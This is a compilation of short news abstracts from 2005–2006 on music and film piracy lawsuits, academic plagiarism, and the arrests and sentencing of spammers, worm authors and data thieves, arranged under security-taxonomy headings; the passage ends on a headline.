NewsScan; http://online.wsj.com/article/0

RUSSIAN MUSIC SITES SPECIALIZE IN CHEAP DOWNLOADS

Russian music sites with names like MP3search.ru and 3MP3.ru provide music fans with a way to bypass the copyright restrictions on most U.S. and European online music services and pay less while they're at it. The sites offer a large selection of highquality downloads with no restrictions for about 10 cents or less per song, but U.S. lawyers warn that downloading music from these sites is just as illegal as downloading from free P2P sites like Kazaa: "It doesn't matter if somebody downloads in the U.S. and believes that it's legal because the site tells them so," says one intellectual property attorney. However, several of the Russian sites say they pay licensing fees to a group called the Russian Organization for Multimedia & Digital Systems (ROMS), which purports to represent Russian copyright holders and acts "in conformity with the requirements of the Russian laws," according to ROMS legal expert Konstantin Leontiev. Meanwhile, the International Federation of the Phonographic Industry says that Russia is second only to China in CD piracy and is threatening legal action against some Russian music sites. (Wall Street Journal 25 Jan 2005)

Category 19.2 Music piracy

2005-04-22 **RIAA legal defeat North Carolina student identity disclosure ISP DMCA John Doe lawsuits illegal downloading music piracy intellectual property rights violation copyright infringement**

EDUPAGE; http://chronicle.com/prm/daily/2005/04/2005042201t.htm

JUDGE REJECTS RIAA'S EXPEDITED SUBPOENAS

A federal judge in North Carolina handed the Recording Industry Association of America (RIAA) a legal defeat in its effort to learn the identities of two students accused of illegal file sharing. The RIAA had sought the identities from the students' universities, the University of North Carolina at Chapel Hill and North Carolina State University, under an expedited subpoena process the group has since abandoned. In a December 2003 decision, another federal judge had rejected the expedited subpoenas, which did not require a judge's signature, ruling that Verizon could not be forced to disclose identities of its customers. In their capacity as Internet service providers (ISPs) for students, universities were given similar protection from the expedited subpoenas. In this case, Judge Russell A. Eliason ruled that an ISP that does not store information but merely transmits it cannot be compelled under the Digital Millennium Copyright Act to reveal identities of its users. After the 2003 decision, the RIAA began filing individual "John Doe" lawsuits for illegal file sharing. Under that process, which costs the RIAA more time and money than the other, ISPs can be forced to turn over identities of users. Chronicle of Higher Education, 22 April 2005 (sub. req'd)

Category 19.2 Music piracy

2005-08-19 **college campuses higher education student download habits peer-to-peer P2P intellectual property rights violation copyright infringement**

EDUPAGE; http://www.siliconvalley.com/mld/siliconvalley/12426744.htm

CAMPUSES STILL WORKING TO CHANGE STUDENT DOWNLOAD HABITS

Despite the availability of legal online music services on a growing number of college and university campuses, many students continue to get their music from illegal P2P downloads. At American University in Washington, D.C., only about half of the 3,800 students use the Ruckus music service. A similar percentage was reported for the 10,000 students of the University of Rochester, who have access to Napster. Pennsylvania State University estimates that about 40 percent of its 70,000 students use the Napster service provided to them. For students willing to risk being sued by the entertainment industry and downloading computer viruses, incentives for illegally downloading songs include the ability to copy the songs to CDs and to portable devices and to keep the music after they have left college. Officials from legal online music services acknowledged the hurdles in persuading all college students to abandon illegal file sharing, but they said that offering the services to college students will prove to be beneficial in the long term. San Jose Mercury News, 19 August 2005

Category 19.2 *Music piracy*

2005-09-23 **anti-piracy tool file sharing peer-to-peer P2P MPAA IFPI**

EDUPAGE; http://news.zdnet.com/2100-9588_22-5876687.html

NEW TOOL DEFEATS FILE-SHARING APPLICATIONS

A new tool from the recording and film industries uninstalls or disables P2P applications, and it scans computers for illegal copies of songs or movies and deletes them. Digital File Check was developed by the International Federation of the Phonographic Industry (IFPI) in conjunction with the Motion Picture Association of America (MPAA) and is available free from the IFPI Web site. A statement from the IFPI noted that the tool does not report evidence of file sharing to any antipiracy organization. Rather, it is designed as an aid to parents and employers who want to discourage children and employees from using computers to violate copyrights. The IFPI will also publish a guide called "Copyright and Security Guide for Companies and Governments" that offers advice to employers about the risks they face by failing to prevent copyright violations on their networks. ZDNet, 23 September 2005

Category 19.2 *Music piracy*

2005-11-15 **music piracy intellectual property rights violation copyright infringement international lawsuits IFPI**

EDUPAGE; http://news.bbc.co.uk/2/hi/entertainment/4438324.stm

IFPI RATCHETS UP LAWSUITS

The International Federation of the Phonographic Industry (IFPI) has filed lawsuits against 2,100 individuals in a number of countries for allegedly sharing copyrighted material over the Internet. The new round of lawsuits, which targets users in the United Kingdom, France, Germany, Italy, Switzerland, Sweden, Argentina, Singapore, and Hong Kong, brings the IFPI's total to more than 3,800. In the United States, nearly 16,000 individuals have been sued for illegal file trading, resulting in more than 3,500 settlements so far. The sharp upswing in the number of lawsuits from the IFPI comes after strong victories for copyright holders in the United States, Australia, and South Korea against operators of P2P services, which in those countries can be held liable for copyright infringement by their users. IFPI Chief John Kennedy said the new suits represent "a significant escalation of our enforcement actions" and noted that through such lawsuits, thousands of individuals "have learnt to their cost the legal and financial risks involved in file-sharing copyrighted music." BBC, 15 November 2005

Category 19.2 *Music piracy*

2005-12-09 **peer-to-peer P2P illegal file trading limit bogus junk files shut down sale Loudeye Overpeer**

EDUPAGE; http://news.zdnet.com/2100-9595_22-5989758.html

P2P CLOGGER TO CLOSE

A company that tried to limit illegal file trading by flooding P2P networks with junk files is being shut down and put up for sale. Overpeer, which is owned by Loudeye, contracted with record companies and movie studios to place thousands of bogus versions of songs and movies on P2P services. When users searched for and downloaded those files, they would get garbage or advertisements rather than the desired files. Since late 2002, when Overpeer was at its height, a number of strategies have been developed to allow file traders and the services they use to make reasonably good guesses about files and to filter out the bogus ones. Officials from Loudeye said revenues had fallen significantly and that the division would cease operations immediately. Loudeye will attempt to sell Overpeer's assets. ZDNet, 9 December 2005

Category 19.2 Music piracy

2006-01-19 **students blame software tool peer-to-peer I2HUB RIAA lawsuit settlement EFF**

EDUPAGE; http://chronicle.com/daily/2006/01/2006011901t.htm

STUDENTS BLAME I2HUB FOR THEIR DOWNLOADING HABITS

A group of students at the University of Massachusetts at Amherst are demanding that the operators of the now-shuttered i2hub pay for their settlements with the Recording Industry Association of America (RIAA). According to Lisa Kent, an attorney at the university's Student Legal Services Office, which is representing the 42 students, i2hub deceived students into believing the service was endorsed by the university. This deception led to their believing that downloading materials over the network was legal. Unless i2hub pays the $157,500 that the RIAA is seeking from the students, the student legal office will file a lawsuit, said Kent. Charles S. Baker, the attorney for Wayne Chang, who created i2hub when he was a sophomore at UMass Amherst, rejected Kent's argument, saying that the software that Chang wrote was technically legal. "i2hub," he said, "is not responsible if your clients used the software for an improper purpose." Fred von Lohmann, a lawyer for the Electronic Frontier Foundation, compared the students' legal argument to "a shooter deciding to sue a gun company, saying, 'The gun made me do it.'"

19.3 Movies / TV piracy

Category 19.3 *Movies / TV piracy*

2005-02-11 **movie industry anti-piracy campaign MPAA prosecute illegally files lawsuits copyright LokiTorrent BitTorrent**

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4256449.stm

MOVIE INDUSTRY CONTINUES ANTIPIRACY CAMPAIGN

The Motion Picture Association of America (MPAA) continues its legal efforts to prevent movie piracy and prosecute those who engage in illegally sharing movie files. The trade group filed another undisclosed number of lawsuits against individuals for alleged copyright violations, and it succeeded in closing down LokiTorrent, one of a number of sites that use the BitTorrent application to help file traders find desired files on the Web. Although sites that use BitTorrent do not host files--instead providing "trackers" that locate requested files--a court in Dallas said the movie industry could access LokiTorrent's server records to identify individuals who traded copyrighted movie files. The permanent closure of LokiTorrent follows similar closings of Supernova.org and Phoenix Torrent in the past two months.

Category 19.3 *Movies / TV piracy*

2005-08-05 **movie piracy camcorder law charges filed MPAA peer-to-peer P2P file sharing**

EDUPAGE; http://news.com.com/2100-1030_3-5819976.html

FIRST CHARGES FILED UNDER CAMCORDER LAW

A 19-year-old man from Missouri has become the first person charged under a recently enacted federal law banning the use of camcorders to tape movies in theaters and then make them available online. According to the Motion Picture Association of America, such camcorder piracy accounts for more than 90 percent of movies that are available online prior to their release outside theaters. Curtis Salisbury is charged with taping two movies in theaters and placing them on so-called warez networks, where many pirated movies and songs find their way onto the Internet. From there, pirated content typically ends up on P2P networks. Unlike the majority of people who upload copyrighted content to such networks, Salisbury tried to profit financially from the movies he posted. He is charged with conspiracy, copyright infringement, and two violations of the law banning camcorders in theaters. He faces up to 17 years in prison. Reuters, 5 August 2005

19.8 Plagiarism & cheating

Category 19.8 Plagiarism & cheating

2005-03-14 **study online citation sources plagiarism copyright infringement Iowa State University**

EDUPAGE; http://chronicle.com/prm/daily/2005/03/2005031402n.htm

STUDY SHOWS ONLINE CITATIONS DON'T AGE WELL

A study conducted by two academics at Iowa State University has shown a remarkably high rate of "decay" for online citations. Michael Bugeja, professor of journalism and communication, and Daniela Dimitrova, assistant professor of communication, looked at five prestigious communication-studies journals from 2000 to 2003 and found 1,126 footnotes that cite online resources. Of those, 373 did not work at all, a decay rate of 33 percent; of those that worked, only 424 took users to information relevant to the citation. In one of the journals in the study, 167 of 265 citations did not work. Bugeja compared the current situation to that of Shakespearean plays in the early days of printing, when many copies of plays were fraught with errors due to the instability of the printing medium. Anthony T. Grafton, a professor of history at Princeton University and author of a book on footnotes, agreed that citation decay is a real and growing problem, describing the situation as "a world in which documentation and verification melt into air." Chronicle of Higher Education, 14 March 2005 (sub. req'd)

Category 19.8 Plagiarism & cheating

2005-05-19 **software plagiarism uncovering self-plagiarism Cornell University intellectual property rights violation copyright infringement**

EDUPAGE; http://chronicle.com/prm/daily/2005/05/2005051901t.htm

JOURNALS USING SOFTWARE TO UNCOVER PLAGIARISM

Software designed to uncover plagiarism is increasingly being used not only for student papers, where it got its start, but also for academic journals, where it is turning up instances of self-plagiarism as well. Although some dismiss self-plagiarism as unimportant relative to plagiarizing another's work, the practice of republishing one's own work in various venues strikes others as similarly objectionable. Christian Collberg, assistant professor of computer science at the University of Arizona, characterized self-plagiarism as vita padding and said that self-plagiarists who are funded from public sources are misusing taxpayer money. Collberg is working on a software application specifically designed to uncover instances of self-plagiarism. Though not as concerned about self-plagiarism, Cornell University is testing a plagiarism-detection application on an archive it maintains of articles in physics, math, and computer science. Among the 300,000 articles in the archive, the tool has found a few thousand instances that warrant further investigation. Chronicle of Higher Education, 19 May 2005 (sub. req'd)

Category 19.8 Plagiarism & cheating

2006-03-26 **technology cell phone cheating exams UK concern**

EDUPAGE; http://news.bbc.co.uk/2/hi/uk_news/education/4848224.stm

PHONE CHEATING INCREASING

According to the Qualifications and Curriculum Authority (QCA), cheating on examinations in the United Kingdom is increasing, due in part to the number of cell phones being taken into exams. Although the incidence of cheating remains relatively low, officials from the country's testing agencies have begun to separate the kinds of cheating they discover. New data indicate that in 60 percent of the cases reported, the infraction involved bringing a cell phone into a test. Despite acknowledging that many times the phones were brought accidentally, the QCA said in its report that "it is essential that [the cheating] is actively addressed to ensure that learners, parents, and employers can continue to have confidence in the examination system." A spokesperson from the Department for Education and Skills echoed those sentiments, saying, "We expect schools to maintain high standards of discipline." The spokesperson continued, "There is no place for mobile phones in the classroom, let alone in the examining hall."

1A3 Biographical notes on individual criminals (including arrests, trials)

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*

2004-12-21 **judgement spam AOL New York CAN-SPAM insider crime**

NewsScan ;

FORMER AOL EMPLOYEE FACES JAIL FOR HELPING SPAMMERS

Virginia software engineer Jason Smathers, formerly employed by America Online, has pleaded guilty to stealing 92 million screen names and e-mail addresses and then selling them to spammers. The spammers in turn used them to generate seven billion unsolicited e-mail messages. The 24-year-old Smathers now faces from 18 months to two years in prison and mandatory restitution of between $200,000 and $400,000, the estimated amount of what AOL had to spend as a result of the e-mails. Authorities said he used another employee's access code to steal the list of AOL customers in 2003 from its headquarters in Dulles, Va. He was promptly fired by the company. (AP/San Jose Mercury News 7 Feb 2005)
http://www.siliconvalley.com/mld/siliconvalley/10827690.htm

JUDGE REJECTS GUILTY PLEA IN AOL SPAM CASE

A federal judge in New York has refused to accept a guilty plea from a former AOL software engineer accused of stealing 92 million subscriber e-mail addresses and selling them to spammers. Judge Alvin Hellerstein said he was not convinced that Jason Smathers had actually committed a crime under the new "CAN-SPAM" legislation passed by Congress this fall. The technicality hinges on whether Smathers deceived anyone -- a requirement of the CAN-SPAM law. "Everybody hates spammers, there's no question about that," said Hellerstein, who told federal prosecutor David Siegal: "I'm not prepared to go ahead, Mr. Siegal. I need to be independently satisfied that a crime has been created." Prosecutors allege that Smathers sold the list to Las Vegas resident Sean Dunaway, who then resold it to spammers, netting Smathers more than $100,000 from the deal. (Wall Street Journal 21 Dec 2004)
http://online.wsj.com/article/0,,SB110365400892306111,00.html (subscription required)

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*

2005-01-04 **spam spyware Wallace FTC**

NewsScan;
http://www.cnn.com/2005/TECH/internet/01/04/spyware.ap/index.html

'SPAM KING' AGREES TO CEASE-FIRE

Under an agreement with the Federal Trade Commission, a man dubbed the "Spam King" will stop distributing spyware until a federal lawsuit is resolved. In addition, Sanford Wallace has agreed to send online ads only to people who visit the Web sites of companies -- SmartBot.net of Richboro, Pennsylvania and Seismic Entertainment Productions of Rochester, New York. "The commission does believe this is great relief for consumers until the matter is ultimately resolved in the courts," says FTC lawyer Laura Sullivan. "This provides wonderful protection for consumers in the interim." Wallace's most recent exploits included sending pop-up messages to Microsoft Word users offering to sell software that would block the pop-ups (but according to the government, didn't work). In the 1990s he earned the nickname "Spam King" after spewing out as many as 30 million junk e-mails per day to consumers. (AP/CNN.com 4 Jan 2005)

[MK notes: This creep is widely known as "Spamford" Wallace. He started his direputable career as a junk faxer in the 1980s and went on from there. See for example "Sanford Wallace: Back to the Fax?" in WIRED (1998) < http://wired-vig.wired.com/news/culture/0,1284,9847,00.html >.]

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*

2005-01-07 **software pirate Internet Adobe Autodesk Macromedia Microsoft copyright infringement**

EDUPAGE; http://washingtontimes.com/upi-breaking/20050107-054741-2893r.htm

SOFTWARE PIRATE GETS 18 MONTHS

A federal court in Virginia has sentenced a Maryland man to 18 months in prison for selling pirated software on the Internet. The Justice Department alleged that Kishan Singh operated a Web site where users could pay for access to downloads of copyrighted applications from companies including Adobe, Autodesk, Macromedia, and Microsoft. Singh removed copy protections from the files he made available on his Web site. Singh pleaded guilty to one count of copyright infringement and was also ordered to forfeit the computer equipment he used to commit his crime. According to the Justice Department, during the time Singh's Web site was operating, users from around the world downloaded thousands of copies of various applications, worth a total value estimated to be between $70,000 and $120,000.

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*

2005-01-12 **ID identity theft sentencing crime Teledata prison**

NewsScan; http://www.latimes.com/technology/la-fi-idtheft12jan12

IDENTITY THIEF DRAWS 14-YEAR PRISON TERM

A former help-desk worker at Teledata Communications, which provides banks with access to credit information, was sentenced to 14 years in prison for his role in the largest identity theft in U.S. history. U.S. District Court Judge George B. Daniels called the damage to victims caused by Philip A. Cummings "almost unimaginable," involving tens of thousands of individuals and caused losses of between $50 million and $100 million. Daniels noted the case "emphasized how easy it is to wreak havoc on people's financial and personal lives." (AP/Los Angeles Times 12 Jan 2005)

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*

2005-02-14 **vandal jail prison WebTV hacking 911 guilty plea court trial fraud**

NewsScan; http://www.siliconvalley.com/mld/siliconvalley/10902507.htm

NETWORK VANDAL FACES 10 YEARS IN PRISON

David Jeansonne, a 44-year-old Louisiana man, faces up to ten years in prison for hacking into WebTV. Jeansonne has pleaded guilty to having sent e-mail messages to about 20 subscribers in 2002, advising the recipients that they could change the display colors on their screens -- but in fact secretly resetting their dial-in telephone number so that they called 911 instead of the local modem telephone number when they tried to access WebTV. (San Jose Mercury News 14 Feb 2005)

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*

2005-02-17 **Arizona student sentences copyright violations guilty movies music prison probation community service property felony**

EDUPAGE; http://kvoa.com/Global/story.asp?S=2934754

ARIZONA STUDENT SENTENCED FOR COPYRIGHT VIOLATIONS

A student at the University of Arizona who pleaded guilty to unauthorized possession of copyrighted movies and music has been sentenced to three months in prison, three years' probation, and 200 hours of community service. The 18-year-old student, Parvin Dhaliwal, was also fined $5,400. Andrew Thomas, attorney for Maricopa County, noted that illegal possession of intellectual property is a felony. Thomas said some of the movies Dhaliwal had copies of were, at the time, only being shown in theaters. Dhaliwal was also ordered to take a copyright course at the University of Arizona and not to use file-sharing programs.

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*

2005-05-06 **UK Britain Drink-or-Die criminal hacker cracker group software piracy conspiracy fraud charge**

EDUPAGE; http://news.zdnet.co.uk/software/0,39020381,39197662,00.htm

DRINK-OR-DIE CONSPIRATORS HEADED TO PRISON

A British court has sentenced three men to prison for their involvement in the so-called Drink-or-Die group, which cracked the copy protections on software and then distributed it over the Internet. The three men received sentences ranging from 18 to 30 months, while a fourth man received a suspended sentence; all were charged with conspiracy to defraud. Prosecutors alleged that the piracy ring cost software companies millions of dollars in lost sales, and the verdicts were seen by some as a strong, clear message to software pirates. Others were critical of the government's case, however, saying that the men should have been charged with copyright violations rather than conspiracy. Security expert Peter Sommer, who served as a witness for the defense, said the government has no way of proving how much the ring cost software makers. He said the conspiracy case cost the government significantly more money and took much longer to try than a copyright case. A spokesperson from the British Crown Prosecution Service said the charges were appropriate, commenting that the authorities do "not determine cases on the basis of how much they will cost to prosecute." ZDNet, 6 May 2005

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*

2005-06-08 **criminal hacker US military targets Pentagon Washington DC UK British national extradition**

EDUPAGE; http://www.theregister.com/2005/06/08/brit_hack_suspect_arrest/

PENTAGON HACKER ARRESTED, FACES EXTRADITION

A British man suspected of hacking into more than 50 computer systems operated by the U.S. government has been arrested in London and faces extradition to the United States. Gary McKinnon is accused of exploiting security weaknesses in computer systems at the Pentagon, NASA, and a number of military sites between February 2001 and March 2002. In one attack, McKinnon is said to have blocked access to 2,000 individual military computers in the Washington area. U.S. authorities said they spent $1 million fixing the damage from the attacks, and a grand jury indicted McKinnon in 2002. McKinnon has been released on bail, and Karen Todner, McKinnon's attorney, said he would "vigorously" fight the extradition. "As a British national," she said, "he should be tried here in our courts by a British jury." The Register, 8 June 2005

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*

2005-06-13 **data theft computer program personal information disclosure Social Security Numbers University of Texas Austin**

EDUPAGE; http://chronicle.com/prm/daily/2005/06/2005061301t.htm

FORMER STUDENT CONVICTED OF STEALING DATA

A former student of The University of Texas at Austin has been found guilty of writing a computer program that stole names and Social Security numbers from about 37,000 students, faculty, and others associated with the university. The jury found Christopher Andrews Phillips not guilty, however, of intending to profit from the data he stole. Phillips, who is now a senior at the University of Houston, said he wrote the program as part of his computer training and never had any intention of using the information. The theft took place in 2002 and 2003, when Phillips's program made more than 600,000 inquiries to a UT database, trying to match names with Social Security numbers. UT officials detected the activity and traced it to Phillips, whose computer was seized with the program he wrote and the data it had harvested. Phillips faces up to six years in prison; had he been convicted of the other charges, he would have faced close to 30 years. Chronicle of Higher Education, 13 June 2005 (sub. req'd)

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2005-07-05 **Sasser worm author confession Germany prosecution Sven Jaschen**

EDUPAGE; http://www.nytimes.com/reuters/technology/tech-crime-germany-sasser.html

AUTHOR OF SASSER WORM CONFESSES

Prosecutors in Germany have announced that Sven Jaschan, on trial for writing the Sasser computer worm, this week confessed to all charges against him. Regarded as possibly the most damaging computer worm ever released, Sasser and its several versions are blamed for crashing as many as one million computers around the world, affecting home users and companies including the European Commission and Goldman Sachs. Jaschan, who is 19 now and was a minor when he committed some of his crimes, had previously admitted to writing the worm; this week, he also confessed to data manipulation, computer sabotage, and interfering with public corporations. He faces up to five years in prison and paying restitution to those affected by Sasser. Monetary damages from the worm have only reached about $150,000, but that number could easily rise into the millions if all those affected reported the damage. New York Times, 5 July 2005 (registration req'd)

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2005-08-15 **e-mail marketer data theft conviction fraud Acxiom Corp**

EDUPAGE; http://online.wsj.com/article/0,,SB112406416615412935,00.html

SPAMMER SCOTT LEVINE CONVICTED OF STEALING 1.6 BILLION NAMES

A jury in Arkansas has convicted Scott Levine of stealing 1.6 billion computer records from Little Rock-based data vendor Acxiom Corp. The records included names, addresses, phone numbers, and other personal information that Levine's company, Snipermail.com, sought to use in direct e-mail marketing campaigns. In the case, the government presented evidence that Levine had used illegally obtained passwords of about 300 legitimate Acxiom customers to fraudulently access the records. Levine was convicted of 120 counts of unauthorized access to a computer, two counts of fraud for cracking passwords, and one count of obstruction of justice for trying to destroy evidence stored on Snipermail computers. Levine will be sentenced in January. Acxiom said that since the intrusion, it has improved security procedures for protecting data, including strengthening encryption systems and the company's ability to detect when unauthorized access takes place. Wall Street Journal, 15 August 2005 (sub. req'd)

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2005-08-17 **former AOL employee data theft conviction New York**

EDUPAGE; http://today.reuters.com/business/newsarticle.aspx?storyID=nN1725168

FORMER AOL EMPLOYEE SENTENCED FOR DATA THEFT

A judge in New York has sentenced a former employee of America Online to 15 months in prison for stealing 92 million screen names from AOL and selling them to a spammer. Jason Smathers, who pleaded guilty earlier this year and cooperated with prosecutors, expressed remorse for his actions and asked the judge for leniency. Indeed, the judge could have given Smathers 24 months in prison for his crimes, which included conspiracy and interstate trafficking of stolen property. AOL has said it suffered monetary losses of $300,000 as a result of Smathers's actions. The judge in the case has given the company 10 days to prove those losses, after which he said he will impose a fine, hinting that he is leaning toward a fine of $84,000. Reuters, 17 August 2005

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2005-08-27 **worm malicious code two arrests investigation Microsoft operating system OS FBI cybercrime**

EDUPAGE; http://www.siliconvalley.com/mld/siliconvalley/12488476.htm

TWO MEN NABBED IN WORM INVESTIGATION

Two men have been arrested in connection with an investigation into the Zotob worm, which surfaced in August and took advantage of a flaw in the Microsoft operating system. The worm affected computers at organizations including The New York Times, ABC, CNN, the Associated Press, and the Immigration and Customs Enforcement bureau. According to Louis M. Riegel, assistant director for cyber crimes at the FBI, Farid Essebar was arrested in Morocco, and Atilla Ekici was arrested in Turkey. Riegel said that Ekici had paid Essebar to write the worm, and the pair are also suspected of writing the Mytob worm, which was released in February. Zotob is able to infect computers even if users do not open any applications. As a result, some users are struck by the worm without knowing about it. Still, experts believe the damage from the worm has been relatively minor, given that the operating system most affected, Windows 2000, is more than five years old and that most organizations quickly patched the flaw that Zotob exploits. San Jose Mercury News, 27 August 2005

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2005-08-29 **international arrest US computer worm probe Morocco Turkey FBI**

DHS IAIP Daily; http://cnn.netscape.cnn.com/ns/news/story.jsp?flok=FF−APO −PL S&idq=/ff/story/0001/20050826/1558760757.htm&related=off&ewp =ewp_news_computer_virus

TWO ARRESTED IN U.S. COMPUTER WORM PROBE

Authorities in Morocco and Turkey have arrested two people believed responsible for a computer worm that infected networks at U.S. companies and government agencies earlier this month. Farid Essebar, 18, was arrested in Morocco, while Atilla Ekici, 21, was arrested in Turkey on Thursday, August 25, Louis M. Riegel, the FBI's assistant director for cyber crimes, said Friday. They will be prosecuted in those countries, Riegel said. Essebar wrote the code that attacked computers that run Miscrosoft operating systems and Ekici paid him for it, Riegel said. It's unclear they ever met, "but they certainly knew each other via the Internet," he said. Riegel said he does not know how much money changed hands. Miscrosoft and FBI officials also declined to estimate the monetary damage done by the Zotob worm and its variations. The worm disrupted computer operations in mid-August at several large news organizations, including The Associated Press, ABC, CNN, and The New York Times; such companies as heavy-equipment maker Caterpillar Inc.; and the federal Immigration and Customs Enforcement bureau. Official FBI statement: http://www.fbi.gov/pressrel/pressrel05/zotob_release082605.htm

---

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2005-09-07 **hacking sentence University of Texas conviction**

EDUPAGE; http://www.chron.com/cs/CDA/ssistory.mpl/metropolitan/3342919

UT HACKER GETS FINE, PROBATION

A former student at the University of Texas at Austin has been sentenced for hacking into the university computer system, a charge on which a federal jury convicted him in June. Christopher Andrew Phillips has been ordered to pay $170,000 in restitution for his crimes and to serve five years of probation. Phillips was found guilty of damaging the university's computers and of illegally possessing close to 40,000 Social Security numbers. The jury acquitted him of intending to profit from the personal information he obtained. In addition to the fine and probation, Phillips is forbidden from using the Internet for five years except for school or for work and only under the supervision of his parole officer. In a statement, U.S. Attorney Johnny Sutton said, "[Phillips] found out the hard way that breaking into someone else's computer is not a joke." Houston Chronicle, 7 September 2005

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*

2005-09-15 **Verizon wireless lawsuit litigation data theft subscriber information accounts**

DHS IAIP Daily; http://www.mobilepipeline.com/showArticle.jhtml?articleID=170703409

VERIZON WIRELESS WINS INJUNCTION AGAINST DATA THIEVES

Verizon Wireless has received a court order preventing a Tennessee company from stealing subscriber information. The injunction prevents Source Resources from acquiring, possessing or selling customer account information without either a court order or the subscriber's permission. The Verizon court filing claimed that Source Resources used "deceit, trickery and dishonesty" to obtain customer records. Specifically, the wireless operator claimed that Source Resources "is engaged in wrongfully obtaining confidential customer information (such as the customer's calling records) … by posing as a customer of Verizon Wireless seeking information about his or her own account."

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*

2005-10-25 **file sharing peer-to-peer P2P Sweden music movie piracy conviction intellectual property rights violation copyright infringement**

EDUPAGE; http://news.bbc.co.uk/1/hi/technology/4376470.stm

FILE SHARER CONVICTED IN SWEDEN

For the first time, a file sharer has been convicted in Sweden, a country long seen as soft on digital piracy. Indeed, the country only this past July passed a law against downloading copyrighted material. The conviction stems from a case prior to passage of the downloading law, when Andreas Bawer uploaded a movie to the Internet. Although the court found Bawer not guilty of downloading the film because the new law had not been put into place, it found him guilty of violating copyright law for distributing the film online. In its ruling, the court said, "Illegal material can in this way be spread quickly and reach many people, which can lead to heavy economic losses for the copyright owners." Because Bawer did not try to profit from his actions, the court decided to fine him rather than sentence him to prison. Bawer's attorney said his client had not yet decided whether he would appeal the verdict. Henrik Ponten of the Swedish Anti-piracy Agency praised the ruling, saying that Sweden has "taken the first step toward a functioning copyright law." BBC, 25 October 2005

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*

2006-01-16 **criminal hacker US Navy base California penetration arrest Spain**

DHS IAIP Daily; http://today.reuters.com/news/newsArticleSearch.aspx?storyID=210818+16−Jan−2006+RTRS&srch=hacker

SPAIN ARRESTS HACKER AFTER BREACH AT U.S. NAVY BASE

Spain's Civil Guard said on Monday, January 16, they had arrested a man who hacked into a U.S. Department of Defense computer, breaching security at a U.S. naval base in California. The man was part of a group of hackers which attacked more than 100 computer systems, including one at the U.S. Navy's Point Loma base in San Diego where nuclear submarines are maintained in dry docks. U.S. security services found someone had illegally accessed the computer and subsequently traced the link to Spain. Spanish authorities pinpointed the group in the southern city of Malaga and arrested one man. Many of the group were students though all were over 18. "They did it for the challenge, there's no implication of terrorism," a Civil Guard spokesperson said, adding that the man would face unspecified charges. The Guard did not say when the arrests or the hacking took place.

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*

2006-01-16 **criminal hacker penetration military base arrest**

RISKS 24 15

SPANISH CRIMINAL HACKER SUSPECT ARRESTED

An 18-year-old suspected Spanish hacker who allegedly breached the top-secret computer security of a U.S. Navy base in San Diego has been arrested in his home town of Malaga, Spain, according to the Spanish Civil Guard. He reportedly "seriously compromised the correct operations and security of a maintenance dry dock for nuclear submarines.

[Abstract by Peter G. Neumann]

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2006-01-27 **legal sentence Microsoft source code theft Connecticut man**

DHS IAIP Daily;
http://news.yahoo.com/s/ap/20060128/ap_on_hi_te/microsoft_so
urce_code;_ylt=Am2Q37WFib1DhYnAQZ9D.JEjtBAF;_ylu=X3oDMTA5aHJ
vMDdwBHNlYwN5bmNhdA−−

"ILLWILL" SENTENCED FOR STEALING MICROSOFT CODE.

A Connecticut man known on the Internet as "illwill" was sentenced to two years in prison Friday, January 27, for stealing the source code to Microsoft Corp.'s Windows operating software, among the company's most prized products. William Genovese Jr., 29 of Meriden, CT, was sentenced by U.S. District Judge William H. Pauley, who called Genovese "a predator who has morphed through various phases of criminal activity in the last few years." Genovese pleaded guilty in August to charges related to the sale and attempted sale of the source code for Microsoft's Windows 2000 and Windows NT 4.0. The code had previously been obtained by other people and unlawfully distributed over the Internet, prosecutors said. Source code is the blueprint in which software developers write computer programs. With a software program's source code, someone can replicate the program. Industry experts expressed concern that hackers reviewing the Microsoft software code could discover new ways to attack computers running some versions of Windows. Prosecutors said in an indictment in February 2004 that Genovese posted a message on his Website offering the code for sale on the same day that Microsoft learned significant portions of its source code were stolen.

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2006-02-07 **Spanish criminal hacker sentence distributed denial-of-service DDoS attack IRC**

DHS IAIP Daily; http://itvibe.com/news/3912

SPANISH HACKER SENTENCED TO TWO YEARS IN JAIL AND FINE OF $1.6 MILLION.

Experts at Sophos have welcomed the news that a hacker who stopped over a third of Spanish computer users from using the Internet has been sentenced to two years in jail. Santiago Garrido, 26, used a computer worm to launch Distributed Denial-of-Service (DDoS) attacks after he was expelled from the popular "Hispano" IRC chat room for not following rules. The attacks disrupted an estimated three million users of the Wanadoo, ONO, Lleida Net and other Internet service providers, amounting to a third of all of Spain's Internet users at the time of the offence in 2003. Garrido, who went by the aliases "Ronnie" and "Mike25", was sentenced at a court in La Coruña and also faces a $1.6 million fine.

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2006-02-10 **hacker indictment hospital botnet attack computer fraud**

DHS IAIP Daily;
http://security.ithub.com/article/DOJ+Indicts+Hacker+for+Hos
pital+Botnet+Attack/171336_1.aspx

HACKER INDICTED FOR HOSPITAL BOTNET ATTACK.

